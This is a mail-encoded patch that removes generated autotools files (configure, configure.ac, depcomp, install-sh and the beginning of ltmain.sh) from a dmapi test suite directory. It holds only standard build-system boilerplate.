config.log, so it can be properly (re)opened and -# appended to by config.status. When coming back to configure, we -# need to make the FD available again. -if test "$no_create" !=3D yes; then - ac_cs_success=3D: - ac_config_status_args=3D - test "$silent" =3D yes && - ac_config_status_args=3D"$ac_config_status_args --quiet" - exec 5>/dev/null - $SHELL $CONFIG_STATUS $ac_config_status_args || ac_cs_success=3Dfals= e - exec 5>>config.log - # Use ||, not &&, to avoid exiting from the if with $? =3D 1, which - # would make configure fail if this is the last instruction. - $ac_cs_success || { (exit 1); exit 1; } -fi - Index: b/dmapi/configure.ac =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D --- a/dmapi/configure.ac +++ /dev/null @@ -1,42 +0,0 @@ -dnl Process this file with autoconf to produce a configure script. -AC_INIT(src/common/cmd/read_invis.c) - -AM_INIT_AUTOMAKE(dmapi_tests, 1.1) - -AC_PROG_CC - -AM_PROG_LIBTOOL - -AC_PREFIX_DEFAULT(/usr/local/dmapi_tests) - -dnl Checks for programs. - -dnl Checks for libraries. -AC_CHECK_LIB(dm,dm_init_service) - -dnl Checks for header files. -AC_CHECK_HEADERS(xfs/dmapi.h,have_xfs_dmapi_h=3D1) -AC_CHECK_HEADERS(sys/dmi.h) - -CPPFLAGS=3D"-I\$(top_srcdir)/src/common" -if test "$have_xfs_dmapi_h" =3D 1; then -CPPFLAGS=3D"$CPPFLAGS -I/usr/include/xfs" -CPPFLAGS=3D"$CPPFLAGS -D_FILE_OFFSET_BITS=3D64 -D_GNU_SOURCE" -fi - -AC_SUBST(CPPFLAGS) - - -AC_OUTPUT( \ -Makefile \ -src/Makefile \ -src/common/Makefile \ -src/common/cmd/Makefile \ -src/common/lib/Makefile \ -src/suite1/Makefile \ -src/suite1/cmd/Makefile \ -src/sample_hsm/Makefile \ -src/simple/Makefile \ -src/suite2/Makefile \ -src/suite2/src/Makefile \ -) Index: b/dmapi/depcomp =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D --- a/dmapi/depcomp +++ /dev/null @@ -1,522 +0,0 @@ -#! /bin/sh -# depcomp - compile a program generating dependencies as side-effects - -scriptversion=3D2004-05-31.23 - -# Copyright (C) 1999, 2000, 2003, 2004 Free Software Foundation, Inc. - -# This program is free software; you can redistribute it and/or modify -# it under the terms of the GNU General Public License as published by -# the Free Software Foundation; either version 2, or (at your option) -# any later version. - -# This program is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -# GNU General Public License for more details. - -# You should have received a copy of the GNU General Public License -# along with this program; if not, write to the Free Software -# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA -# 02111-1307, USA. - -# As a special exception to the GNU General Public License, if you -# distribute this file as part of a program that contains a -# configuration script generated by Autoconf, you may include it under -# the same distribution terms that you use for the rest of that progra= m. - -# Originally written by Alexandre Oliva . - -case $1 in - '') - echo "$0: No command. Try \`$0 --help' for more information." 1>= &2 - exit 1; - ;; - -h | --h*) - cat <<\EOF -Usage: depcomp [--help] [--version] PROGRAM [ARGS] - -Run PROGRAMS ARGS to compile a file, generating dependencies -as side-effects. - -Environment variables: - depmode Dependency tracking mode. - source Source file read by `PROGRAMS ARGS'. - object Object file output by `PROGRAMS ARGS'. - DEPDIR directory where to store dependencies. - depfile Dependency file to output. - tmpdepfile Temporary file to use when outputing dependencies. - libtool Whether libtool is used (yes/no). - -Report bugs to . -EOF - exit 0 - ;; - -v | --v*) - echo "depcomp $scriptversion" - exit 0 - ;; -esac - -if test -z "$depmode" || test -z "$source" || test -z "$object"; then - echo "depcomp: Variables source, object and depmode must be set" 1>&= 2 - exit 1 -fi - -# Dependencies for sub/bar.o or sub/bar.obj go into sub/.deps/bar.Po. -depfile=3D${depfile-`echo "$object" | - sed 's|[^\\/]*$|'${DEPDIR-.deps}'/&|;s|\.\([^.]*\)$|.P\1|;s|Pobj$|Po= |'`} -tmpdepfile=3D${tmpdepfile-`echo "$depfile" | sed 's/\.\([^.]*\)$/.T\1/= '`} - -rm -f "$tmpdepfile" - -# Some modes work just like other modes, but use different flags. We -# parameterize here, but still list the modes in the big case below, -# to make depend.m4 easier to write. Note that we *cannot* use a case -# here, because this file can only contain one case statement. -if test "$depmode" =3D hp; then - # HP compiler uses -M and no extra arg. - gccflag=3D-M - depmode=3Dgcc -fi - -if test "$depmode" =3D dashXmstdout; then - # This is just like dashmstdout with a different argument. - dashmflag=3D-xM - depmode=3Ddashmstdout -fi - -case "$depmode" in -gcc3) -## gcc 3 implements dependency tracking that does exactly what -## we want. Yay! Note: for some reason libtool 1.4 doesn't like -## it if -MD -MP comes after the -MF stuff. Hmm. - "$@" -MT "$object" -MD -MP -MF "$tmpdepfile" - stat=3D$? - if test $stat -eq 0; then : - else - rm -f "$tmpdepfile" - exit $stat - fi - mv "$tmpdepfile" "$depfile" - ;; - -gcc) -## There are various ways to get dependency output from gcc. Here's -## why we pick this rather obscure method: -## - Don't want to use -MD because we'd like the dependencies to end -## up in a subdir. Having to rename by hand is ugly. -## (We might end up doing this anyway to support other compilers.) -## - The DEPENDENCIES_OUTPUT environment variable makes gcc act like -## -MM, not -M (despite what the docs say). -## - Using -M directly means running the compiler twice (even worse -## than renaming). - if test -z "$gccflag"; then - gccflag=3D-MD, - fi - "$@" -Wp,"$gccflag$tmpdepfile" - stat=3D$? - if test $stat -eq 0; then : - else - rm -f "$tmpdepfile" - exit $stat - fi - rm -f "$depfile" - echo "$object : \\" > "$depfile" - alpha=3DABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz -## The second -e expression handles DOS-style file names with drive le= tters. - sed -e 's/^[^:]*: / /' \ - -e 's/^['$alpha']:\/[^:]*: / /' < "$tmpdepfile" >> "$depfile" -## This next piece of magic avoids the `deleted header file' problem. -## The problem is that when a header file which appears in a .P file -## is deleted, the dependency causes make to die (because there is -## typically no way to rebuild the header). We avoid this by adding -## dummy dependencies for each header file. Too bad gcc doesn't do -## this for us directly. - tr ' ' ' -' < "$tmpdepfile" | -## Some versions of gcc put a space before the `:'. On the theory -## that the space means something, we add a space to the output as -## well. -## Some versions of the HPUX 10.20 sed can't process this invocation -## correctly. Breaking it into two sed invocations is a workaround. - sed -e 's/^\\$//' -e '/^$/d' -e '/:$/d' | sed -e 's/$/ :/' >> "$de= pfile" - rm -f "$tmpdepfile" - ;; - -hp) - # This case exists only to let depend.m4 do its work. It works by - # looking at the text of this script. This case will never be run, - # since it is checked for above. - exit 1 - ;; - -sgi) - if test "$libtool" =3D yes; then - "$@" "-Wp,-MDupdate,$tmpdepfile" - else - "$@" -MDupdate "$tmpdepfile" - fi - stat=3D$? - if test $stat -eq 0; then : - else - rm -f "$tmpdepfile" - exit $stat - fi - rm -f "$depfile" - - if test -f "$tmpdepfile"; then # yes, the sourcefile depend on othe= r files - echo "$object : \\" > "$depfile" - - # Clip off the initial element (the dependent). Don't try to be - # clever and replace this with sed code, as IRIX sed won't handle - # lines with more than a fixed number of characters (4096 in - # IRIX 6.2 sed, 8192 in IRIX 6.5). We also remove comment lines; - # the IRIX cc adds comments like `#:fec' to the end of the - # dependency line. - tr ' ' ' -' < "$tmpdepfile" \ - | sed -e 's/^.*\.o://' -e 's/#.*$//' -e '/^$/ d' | \ - tr ' -' ' ' >> $depfile - echo >> $depfile - - # The second pass generates a dummy entry for each header file. - tr ' ' ' -' < "$tmpdepfile" \ - | sed -e 's/^.*\.o://' -e 's/#.*$//' -e '/^$/ d' -e 's/$/:/' \ - >> $depfile - else - # The sourcefile does not contain any dependencies, so just - # store a dummy comment line, to avoid errors with the Makefile - # "include basename.Plo" scheme. - echo "#dummy" > "$depfile" - fi - rm -f "$tmpdepfile" - ;; - -aix) - # The C for AIX Compiler uses -M and outputs the dependencies - # in a .u file. In older versions, this file always lives in the - # current directory. Also, the AIX compiler puts `$object:' at the - # start of each line; $object doesn't have directory information. - # Version 6 uses the directory in both cases. - stripped=3D`echo "$object" | sed 's/\(.*\)\..*$/\1/'` - tmpdepfile=3D"$stripped.u" - if test "$libtool" =3D yes; then - "$@" -Wc,-M - else - "$@" -M - fi - stat=3D$? - - if test -f "$tmpdepfile"; then : - else - stripped=3D`echo "$stripped" | sed 's,^.*/,,'` - tmpdepfile=3D"$stripped.u" - fi - - if test $stat -eq 0; then : - else - rm -f "$tmpdepfile" - exit $stat - fi - - if test -f "$tmpdepfile"; then - outname=3D"$stripped.o" - # Each line is of the form `foo.o: dependent.h'. - # Do two passes, one to just change these to - # `$object: dependent.h' and one to simply `dependent.h:'. - sed -e "s,^$outname:,$object :," < "$tmpdepfile" > "$depfile" - sed -e "s,^$outname: \(.*\)$,\1:," < "$tmpdepfile" >> "$depfile" - else - # The sourcefile does not contain any dependencies, so just - # store a dummy comment line, to avoid errors with the Makefile - # "include basename.Plo" scheme. - echo "#dummy" > "$depfile" - fi - rm -f "$tmpdepfile" - ;; - -icc) - # Intel's C compiler understands `-MD -MF file'. However on - # icc -MD -MF foo.d -c -o sub/foo.o sub/foo.c - # ICC 7.0 will fill foo.d with something like - # foo.o: sub/foo.c - # foo.o: sub/foo.h - # which is wrong. We want: - # sub/foo.o: sub/foo.c - # sub/foo.o: sub/foo.h - # sub/foo.c: - # sub/foo.h: - # ICC 7.1 will output - # foo.o: sub/foo.c sub/foo.h - # and will wrap long lines using \ : - # foo.o: sub/foo.c ... \ - # sub/foo.h ... \ - # ... - - "$@" -MD -MF "$tmpdepfile" - stat=3D$? - if test $stat -eq 0; then : - else - rm -f "$tmpdepfile" - exit $stat - fi - rm -f "$depfile" - # Each line is of the form `foo.o: dependent.h', - # or `foo.o: dep1.h dep2.h \', or ` dep3.h dep4.h \'. - # Do two passes, one to just change these to - # `$object: dependent.h' and one to simply `dependent.h:'. - sed "s,^[^:]*:,$object :," < "$tmpdepfile" > "$depfile" - # Some versions of the HPUX 10.20 sed can't process this invocation - # correctly. Breaking it into two sed invocations is a workaround. - sed 's,^[^:]*: \(.*\)$,\1,;s/^\\$//;/^$/d;/:$/d' < "$tmpdepfile" | - sed -e 's/$/ :/' >> "$depfile" - rm -f "$tmpdepfile" - ;; - -tru64) - # The Tru64 compiler uses -MD to generate dependencies as a side - # effect. `cc -MD -o foo.o ...' puts the dependencies into `foo.o.= d'. - # At least on Alpha/Redhat 6.1, Compaq CCC V6.2-504 seems to put - # dependencies in `foo.d' instead, so we check for that too. - # Subdirectories are respected. - dir=3D`echo "$object" | sed -e 's|/[^/]*$|/|'` - test "x$dir" =3D "x$object" && dir=3D - base=3D`echo "$object" | sed -e 's|^.*/||' -e 's/\.o$//' -e 's/\.lo= $//'` - - if test "$libtool" =3D yes; then - # Dependencies are output in .lo.d with libtool 1.4. - # With libtool 1.5 they are output both in $dir.libs/$base.o.d - # and in $dir.libs/$base.o.d and $dir$base.o.d. We process the - # latter, because the former will be cleaned when $dir.libs is - # erased. - tmpdepfile1=3D"$dir.libs/$base.lo.d" - tmpdepfile2=3D"$dir$base.o.d" - tmpdepfile3=3D"$dir.libs/$base.d" - "$@" -Wc,-MD - else - tmpdepfile1=3D"$dir$base.o.d" - tmpdepfile2=3D"$dir$base.d" - tmpdepfile3=3D"$dir$base.d" - "$@" -MD - fi - - stat=3D$? - if test $stat -eq 0; then : - else - rm -f "$tmpdepfile1" "$tmpdepfile2" "$tmpdepfile3" - exit $stat - fi - - if test -f "$tmpdepfile1"; then - tmpdepfile=3D"$tmpdepfile1" - elif test -f "$tmpdepfile2"; then - tmpdepfile=3D"$tmpdepfile2" - else - tmpdepfile=3D"$tmpdepfile3" - fi - if test -f "$tmpdepfile"; then - sed -e "s,^.*\.[a-z]*:,$object:," < "$tmpdepfile" > "$depfile" - # That's a tab and a space in the []. - sed -e 's,^.*\.[a-z]*:[=09 ]*,,' -e 's,$,:,' < "$tmpdepfile" >> = "$depfile" - else - echo "#dummy" > "$depfile" - fi - rm -f "$tmpdepfile" - ;; - -#nosideeffect) - # This comment above is used by automake to tell side-effect - # dependency tracking mechanisms from slower ones. - -dashmstdout) - # Important note: in order to support this mode, a compiler *must* - # always write the preprocessed file to stdout, regardless of -o. - "$@" || exit $? - - # Remove the call to Libtool. - if test "$libtool" =3D yes; then - while test $1 !=3D '--mode=3Dcompile'; do - shift - done - shift - fi - - # Remove `-o $object'. - IFS=3D" " - for arg - do - case $arg in - -o) - shift - ;; - $object) - shift - ;; - *) - set fnord "$@" "$arg" - shift # fnord - shift # $arg - ;; - esac - done - - test -z "$dashmflag" && dashmflag=3D-M - # Require at least two characters before searching for `:' - # in the target name. This is to cope with DOS-style filenames: - # a dependency such as `c:/foo/bar' could be seen as target `c' othe= rwise. - "$@" $dashmflag | - sed 's:^[ ]*[^: ][^:][^:]*\:[ ]*:'"$object"'\: :' > "$tmpdepfi= le" - rm -f "$depfile" - cat < "$tmpdepfile" > "$depfile" - tr ' ' ' -' < "$tmpdepfile" | \ -## Some versions of the HPUX 10.20 sed can't process this invocation -## correctly. Breaking it into two sed invocations is a workaround. - sed -e 's/^\\$//' -e '/^$/d' -e '/:$/d' | sed -e 's/$/ :/' >> "$de= pfile" - rm -f "$tmpdepfile" - ;; - -dashXmstdout) - # This case only exists to satisfy depend.m4. It is never actually - # run, as this mode is specially recognized in the preamble. - exit 1 - ;; - -makedepend) - "$@" || exit $? - # Remove any Libtool call - if test "$libtool" =3D yes; then - while test $1 !=3D '--mode=3Dcompile'; do - shift - done - shift - fi - # X makedepend - shift - cleared=3Dno - for arg in "$@"; do - case $cleared in - no) - set ""; shift - cleared=3Dyes ;; - esac - case "$arg" in - -D*|-I*) - set fnord "$@" "$arg"; shift ;; - # Strip any option that makedepend may not understand. Remove - # the object too, otherwise makedepend will parse it as a source f= ile. - -*|$object) - ;; - *) - set fnord "$@" "$arg"; shift ;; - esac - done - obj_suffix=3D"`echo $object | sed 's/^.*\././'`" - touch "$tmpdepfile" - ${MAKEDEPEND-makedepend} -o"$obj_suffix" -f"$tmpdepfile" "$@" - rm -f "$depfile" - cat < "$tmpdepfile" > "$depfile" - sed '1,2d' "$tmpdepfile" | tr ' ' ' -' | \ -## Some versions of the HPUX 10.20 sed can't process this invocation -## correctly. Breaking it into two sed invocations is a workaround. - sed -e 's/^\\$//' -e '/^$/d' -e '/:$/d' | sed -e 's/$/ :/' >> "$de= pfile" - rm -f "$tmpdepfile" "$tmpdepfile".bak - ;; - -cpp) - # Important note: in order to support this mode, a compiler *must* - # always write the preprocessed file to stdout. - "$@" || exit $? - - # Remove the call to Libtool. - if test "$libtool" =3D yes; then - while test $1 !=3D '--mode=3Dcompile'; do - shift - done - shift - fi - - # Remove `-o $object'. - IFS=3D" " - for arg - do - case $arg in - -o) - shift - ;; - $object) - shift - ;; - *) - set fnord "$@" "$arg" - shift # fnord - shift # $arg - ;; - esac - done - - "$@" -E | - sed -n '/^# [0-9][0-9]* "\([^"]*\)".*/ s:: \1 \\:p' | - sed '$ s: \\$::' > "$tmpdepfile" - rm -f "$depfile" - echo "$object : \\" > "$depfile" - cat < "$tmpdepfile" >> "$depfile" - sed < "$tmpdepfile" '/^$/d;s/^ //;s/ \\$//;s/$/ :/' >> "$depfile" - rm -f "$tmpdepfile" - ;; - -msvisualcpp) - # Important note: in order to support this mode, a compiler *must* - # always write the preprocessed file to stdout, regardless of -o, - # because we must use -o when running libtool. - "$@" || exit $? - IFS=3D" " - for arg - do - case "$arg" in - "-Gm"|"/Gm"|"-Gi"|"/Gi"|"-ZI"|"/ZI") -=09set fnord "$@" -=09shift -=09shift -=09;; - *) -=09set fnord "$@" "$arg" -=09shift -=09shift -=09;; - esac - done - "$@" -E | - sed -n '/^#line [0-9][0-9]* "\([^"]*\)"/ s::echo "`cygpath -u \\"\1\= \"`":p' | sort | uniq > "$tmpdepfile" - rm -f "$depfile" - echo "$object : \\" > "$depfile" - . "$tmpdepfile" | sed 's% %\\ %g' | sed -n '/^\(.*\)$/ s::=09\1 \\:p= ' >> "$depfile" - echo "=09" >> "$depfile" - . "$tmpdepfile" | sed 's% %\\ %g' | sed -n '/^\(.*\)$/ s::\1\::p' >>= "$depfile" - rm -f "$tmpdepfile" - ;; - -none) - exec "$@" - ;; - -*) - echo "Unknown depmode $depmode" 1>&2 - exit 1 - ;; -esac - -exit 0 - -# Local Variables: -# mode: shell-script -# sh-indentation: 2 -# eval: (add-hook 'write-file-hooks 'time-stamp) -# time-stamp-start: "scriptversion=3D" -# time-stamp-format: "%:y-%02m-%02d.%02H" -# time-stamp-end: "$" -# End: Index: b/dmapi/install-sh =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D --- a/dmapi/install-sh +++ /dev/null @@ -1,322 +0,0 @@ -#!/bin/sh -# install - install a program, script, or datafile - -scriptversion=3D2004-07-05.00 - -# This originates from X11R5 (mit/util/scripts/install.sh), which was -# later released in X11R6 (xc/config/util/install.sh) with the -# following copyright and license. -# -# Copyright (C) 1994 X Consortium -# -# Permission is hereby granted, free of charge, to any person obtainin= g a copy -# of this software and associated documentation files (the "Software")= , to -# deal in the Software without restriction, including without limitati= on the -# rights to use, copy, modify, merge, publish, distribute, sublicense,= and/or -# sell copies of the Software, and to permit persons to whom the Softw= are is -# furnished to do so, subject to the following conditions: -# -# The above copyright notice and this permission notice shall be inclu= ded in -# all copies or substantial portions of the Software. -# -# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPR= ESS OR -# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABIL= ITY, -# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT S= HALL THE -# X CONSORTIUM BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WH= ETHER IN -# AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN= CONNEC- -# TION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. -# -# Except as contained in this notice, the name of the X Consortium sha= ll not -# be used in advertising or otherwise to promote the sale, use or othe= r deal- -# ings in this Software without prior written authorization from the X= Consor- -# tium. -# -# -# FSF changes to this file are in the public domain. -# -# Calling this script install-sh is preferred over install.sh, to prev= ent -# `make' implicit rules from creating a file called install from it -# when there is no Makefile. -# -# This script is compatible with the BSD install script, but was writt= en -# from scratch. It can only install one file at a time, a restriction -# shared with many OS's install programs. - -# set DOITPROG to echo to test this script - -# Don't use :- since 4.3BSD and earlier shells don't like it. -doit=3D"${DOITPROG-}" - -# put in absolute paths if you don't have them in your path; or use en= v. vars. - -mvprog=3D"${MVPROG-mv}" -cpprog=3D"${CPPROG-cp}" -chmodprog=3D"${CHMODPROG-chmod}" -chownprog=3D"${CHOWNPROG-chown}" -chgrpprog=3D"${CHGRPPROG-chgrp}" -stripprog=3D"${STRIPPROG-strip}" -rmprog=3D"${RMPROG-rm}" -mkdirprog=3D"${MKDIRPROG-mkdir}" - -chmodcmd=3D"$chmodprog 0755" -chowncmd=3D -chgrpcmd=3D -stripcmd=3D -rmcmd=3D"$rmprog -f" -mvcmd=3D"$mvprog" -src=3D -dst=3D -dir_arg=3D -dstarg=3D -no_target_directory=3D - -usage=3D"Usage: $0 [OPTION]... [-T] SRCFILE DSTFILE - or: $0 [OPTION]... SRCFILES... DIRECTORY - or: $0 [OPTION]... -t DIRECTORY SRCFILES... - or: $0 [OPTION]... -d DIRECTORIES... - -In the 1st form, copy SRCFILE to DSTFILE. -In the 2nd and 3rd, copy all SRCFILES to DIRECTORY. -In the 4th, create DIRECTORIES. - -Options: --c (ignored) --d create directories instead of installing files. --g GROUP $chgrpprog installed files to GROUP. --m MODE $chmodprog installed files to MODE. --o USER $chownprog installed files to USER. --s $stripprog installed files. --t DIRECTORY install into DIRECTORY. --T report an error if DSTFILE is a directory. ---help display this help and exit. ---version display version info and exit. - -Environment variables override the default commands: - CHGRPPROG CHMODPROG CHOWNPROG CPPROG MKDIRPROG MVPROG RMPROG STRIPPR= OG -" - -while test -n "$1"; do - case $1 in - -c) shift - continue;; - - -d) dir_arg=3Dtrue - shift - continue;; - - -g) chgrpcmd=3D"$chgrpprog $2" - shift - shift - continue;; - - --help) echo "$usage"; exit 0;; - - -m) chmodcmd=3D"$chmodprog $2" - shift - shift - continue;; - - -o) chowncmd=3D"$chownprog $2" - shift - shift - continue;; - - -s) stripcmd=3D$stripprog - shift - continue;; - - -t) dstarg=3D$2 -=09shift -=09shift -=09continue;; - - -T) no_target_directory=3Dtrue -=09shift -=09continue;; - - --version) echo "$0 $scriptversion"; exit 0;; - - *) # When -d is used, all remaining arguments are directories to = create. -=09# When -t is used, the destination is already specified. -=09test -n "$dir_arg$dstarg" && break - # Otherwise, the last argument is the destination. Remove it = from $@. -=09for arg -=09do - if test -n "$dstarg"; then -=09 # $@ is not empty: it contains at least $arg. -=09 set fnord "$@" "$dstarg" -=09 shift # fnord -=09 fi -=09 shift # arg -=09 dstarg=3D$arg -=09done -=09break;; - esac -done - -if test -z "$1"; then - if test -z "$dir_arg"; then - echo "$0: no input file specified." >&2 - exit 1 - fi - # It's OK to call `install-sh -d' without argument. - # This can happen when creating conditional directories. - exit 0 -fi - -for src -do - # Protect names starting with `-'. - case $src in - -*) src=3D./$src ;; - esac - - if test -n "$dir_arg"; then - dst=3D$src - src=3D - - if test -d "$dst"; then - mkdircmd=3D: - chmodcmd=3D - else - mkdircmd=3D$mkdirprog - fi - else - # Waiting for this to be detected by the "$cpprog $src $dsttmp" co= mmand - # might cause directories to be created, which would be especially= bad - # if $src (and thus $dsttmp) contains '*'. - if test ! -f "$src" && test ! -d "$src"; then - echo "$0: $src does not exist." >&2 - exit 1 - fi - - if test -z "$dstarg"; then - echo "$0: no destination specified." >&2 - exit 1 - fi - - dst=3D$dstarg - # Protect names starting with `-'. - case $dst in - -*) dst=3D./$dst ;; - esac - - # If destination is a directory, append the input filename; won't = work - # if double slashes aren't ignored. - if test -d "$dst"; then - if test -n "$no_target_directory"; then -=09echo "$0: $dstarg: Is a directory" >&2 -=09exit 1 - fi - dst=3D$dst/`basename "$src"` - fi - fi - - # This sed command emulates the dirname command. - dstdir=3D`echo "$dst" | sed -e 's,[^/]*$,,;s,/$,,;s,^$,.,'` - - # Make sure that the destination directory exists. - - # Skip lots of stat calls in the usual case. - if test ! -d "$dstdir"; then - defaultIFS=3D' -=09 ' - IFS=3D"${IFS-$defaultIFS}" - - oIFS=3D$IFS - # Some sh's can't handle IFS=3D/ for some reason. - IFS=3D'%' - set - `echo "$dstdir" | sed -e 's@/@%@g' -e 's@^%@/@'` - IFS=3D$oIFS - - pathcomp=3D - - while test $# -ne 0 ; do - pathcomp=3D$pathcomp$1 - shift - if test ! -d "$pathcomp"; then - $mkdirprog "$pathcomp" -=09# mkdir can fail with a `File exist' error in case several -=09# install-sh are creating the directory concurrently. This -=09# is OK. -=09test -d "$pathcomp" || exit - fi - pathcomp=3D$pathcomp/ - done - fi - - if test -n "$dir_arg"; then - $doit $mkdircmd "$dst" \ - && { test -z "$chowncmd" || $doit $chowncmd "$dst"; } \ - && { test -z "$chgrpcmd" || $doit $chgrpcmd "$dst"; } \ - && { test -z "$stripcmd" || $doit $stripcmd "$dst"; } \ - && { test -z "$chmodcmd" || $doit $chmodcmd "$dst"; } - - else - dstfile=3D`basename "$dst"` - - # Make a couple of temp file names in the proper directory. - dsttmp=3D$dstdir/_inst.$$_ - rmtmp=3D$dstdir/_rm.$$_ - - # Trap to clean up those temp files at exit. - trap 'status=3D$?; rm -f "$dsttmp" "$rmtmp" && exit $status' 0 - trap '(exit $?); exit' 1 2 13 15 - - # Copy the file name to the temp name. - $doit $cpprog "$src" "$dsttmp" && - - # and set any options; do chmod last to preserve setuid bits. - # - # If any of these fail, we abort the whole thing. If we want to - # ignore errors from any of these, just make sure not to ignore - # errors from the above "$doit $cpprog $src $dsttmp" command. - # - { test -z "$chowncmd" || $doit $chowncmd "$dsttmp"; } \ - && { test -z "$chgrpcmd" || $doit $chgrpcmd "$dsttmp"; } \ - && { test -z "$stripcmd" || $doit $stripcmd "$dsttmp"; } \ - && { test -z "$chmodcmd" || $doit $chmodcmd "$dsttmp"; } && - - # Now rename the file to the real destination. - { $doit $mvcmd -f "$dsttmp" "$dstdir/$dstfile" 2>/dev/null \ - || { -=09 # The rename failed, perhaps because mv can't rename something e= lse -=09 # to itself, or perhaps because mv is so ancient that it does no= t -=09 # support -f. - -=09 # Now remove or move aside any old file at destination location. -=09 # We try this two ways since rm can't unlink itself on some -=09 # systems and the destination file might be busy for other -=09 # reasons. In this case, the final cleanup might fail but the n= ew -=09 # file should still install successfully. -=09 { -=09 if test -f "$dstdir/$dstfile"; then -=09 $doit $rmcmd -f "$dstdir/$dstfile" 2>/dev/null \ -=09 || $doit $mvcmd -f "$dstdir/$dstfile" "$rmtmp" 2>/dev/null \ -=09 || { -=09=09 echo "$0: cannot unlink or rename $dstdir/$dstfile" >&2 -=09=09 (exit 1); exit -=09 } -=09 else -=09 : -=09 fi -=09 } && - -=09 # Now rename the file to the real destination. -=09 $doit $mvcmd "$dsttmp" "$dstdir/$dstfile" -=09 } - } - fi || { (exit 1); exit; } -done - -# The final little trick to "correctly" pass the exit status to the ex= it trap. -{ - (exit 0); exit -} - -# Local variables: -# eval: (add-hook 'write-file-hooks 'time-stamp) -# time-stamp-start: "scriptversion=3D" -# time-stamp-format: "%:y-%02m-%02d.%02H" -# time-stamp-end: "$" -# End: Index: b/dmapi/ltmain.sh =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D --- a/dmapi/ltmain.sh +++ /dev/null @@ -1,6402 +0,0 @@ -# ltmain.sh - Provide generalized library-building support services. -# NOTE: Changing this file will not affect anything until you rerun co= nfigure. -# -# Copyright (C) 1996, 1997, 1998, 1999, 2000, 2001, 2003, 2004 -# Free Software Foundation, Inc. -# Originally by Gordon Matzigkeit , 1996 -# -# This program is free software; you can redistribute it and/or modify -# it under the terms of the GNU General Public License as published by -# the Free Software Foundation; either version 2 of the License, or -# (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, but -# WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write to the Free Software -# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307= , USA. -# -# As a special exception to the GNU General Public License, if you -# distribute this file as part of a program that contains a -# configuration script generated by Autoconf, you may include it under -# the same distribution terms that you use for the rest of that progra= m. - -basename=3D"s,^.*/,,g" - -# Work around backward compatibility issue on IRIX 6.5. On IRIX 6.4+, = sh -# is ksh but when the shell is invoked as "sh" and the current value o= f -# the _XPG environment variable is not equal to 1 (one), the special -# positional parameter $0, within a function call, is the name of the -# function. -progpath=3D"$0" - -# The name of this program: -progname=3D`echo "$progpath" | $SED $basename` -modename=3D"$progname" - -# Global variables: -EXIT_SUCCESS=3D0 -EXIT_FAILURE=3D1 - -PROGRAM=3Dltmain.sh -PACKAGE=3Dlibtool -VERSION=3D1.5.8 -TIMESTAMP=3D" (1.1220.2.118 2004/08/07 12:24:38)" - -# See if we are running on zsh, and set the options which allow our -# commands through without removal of \ escapes. -if test -n "${ZSH_VERSION+set}" ; then - setopt NO_GLOB_SUBST -fi - -# Check that we have a working $echo. -if test "X$1" =3D X--no-reexec; then - # Discard the --no-reexec flag, and continue. - shift -elif test "X$1" =3D X--fallback-echo; then - # Avoid inline document here, it may be left over - : -elif test "X`($echo '\t') 2>/dev/null`" =3D 'X\t'; then - # Yippee, $echo works! - : -else - # Restart under the correct shell, and then maybe $echo will work. - exec $SHELL "$progpath" --no-reexec ${1+"$@"} -fi - -if test "X$1" =3D X--fallback-echo; then - # used as fallback echo - shift - cat <&2 - $echo "Fatal configuration error. See the $PACKAGE docs for more in= formation." 1>&2 - exit $EXIT_FAILURE -fi - -# Global variables. -mode=3D$default_mode -nonopt=3D -prev=3D -prevopt=3D -run=3D -show=3D"$echo" -show_help=3D -execute_dlfiles=3D -lo2o=3D"s/\\.lo\$/.${objext}/" -o2lo=3D"s/\\.${objext}\$/.lo/" - -##################################### -# Shell function definitions: -# This seems to be the best place for them - -# func_win32_libid arg -# return the library type of file 'arg' -# -# Need a lot of goo to handle *both* DLLs and import libs -# Has to be a shell function in order to 'eat' the argument -# that is supplied when $file_magic_command is called. 